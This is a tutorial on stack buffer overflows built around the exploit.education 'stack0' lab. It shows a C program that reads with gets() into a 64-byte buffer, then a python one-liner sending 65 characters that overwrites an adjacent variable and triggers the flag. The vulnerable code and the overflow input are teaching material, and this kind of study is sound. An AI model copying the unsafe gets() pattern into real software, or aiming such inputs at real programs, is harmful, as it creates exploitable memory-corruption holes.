Stack Vulnerabilities

Federico Casu

April 23, 2024

`stack0.c`: Introduction to memory-*un*safety

The White House is urging programmers to move away from older programming languages like `C` and `C++` in favor of "memory-safe" languages like Rust. There's evidence that building software with memory-safe languages can reduce vulnerabilities and prevent cyberattacks.

What do we mean by "memory-unsafe" languages? Let's take a look at the following program:

Listing 1: `stack0.c`

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

extern void printflag();
char *gets(char *);

int main(int argc, char **argv) {
  struct {
    char buffer[64];
    volatile int changeme;
  } locals;

  puts("Welcome to stack0, brought to you by https://exploit.
    education\n");

  locals.changeme = 0;
  gets(locals.buffer);

  if (locals.changeme != 0) {
    puts("Well done, the 'changeme' variable has been changed!");
    printflag();
  } else
    puts("Uh oh, 'changeme' has not yet been changed.\n"
         "Would you like to try again?");

  exit(0);
}
```

Apparently, `stack0.c` is a simple program that copies from `stdin` into `locals.buffer`. An inexperienced programmer would expect that the program takes the `else` branch whenever it is run. Are we sure? Let's try to write a string which is shorter (or equal) than 64 characters:

```
~/stack0 $ python3 -c 'print("A"*64)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
~/stack0 $ python3 -c 'print("A"*64)' | ./stack0
Welcome to stack0, brought to you by https://exploit.education
Uh oh, 'changeme' has not yet been changed.
Would you like to try again?
```

What does it happen if we write a string which is longer than 64 characters?

```
~/stack0 $ python3 -c 'print("A"*65)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
~/stack0 $ python3 -c 'print("A"*65)' | ./stack0
Welcome to stack0, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed!
```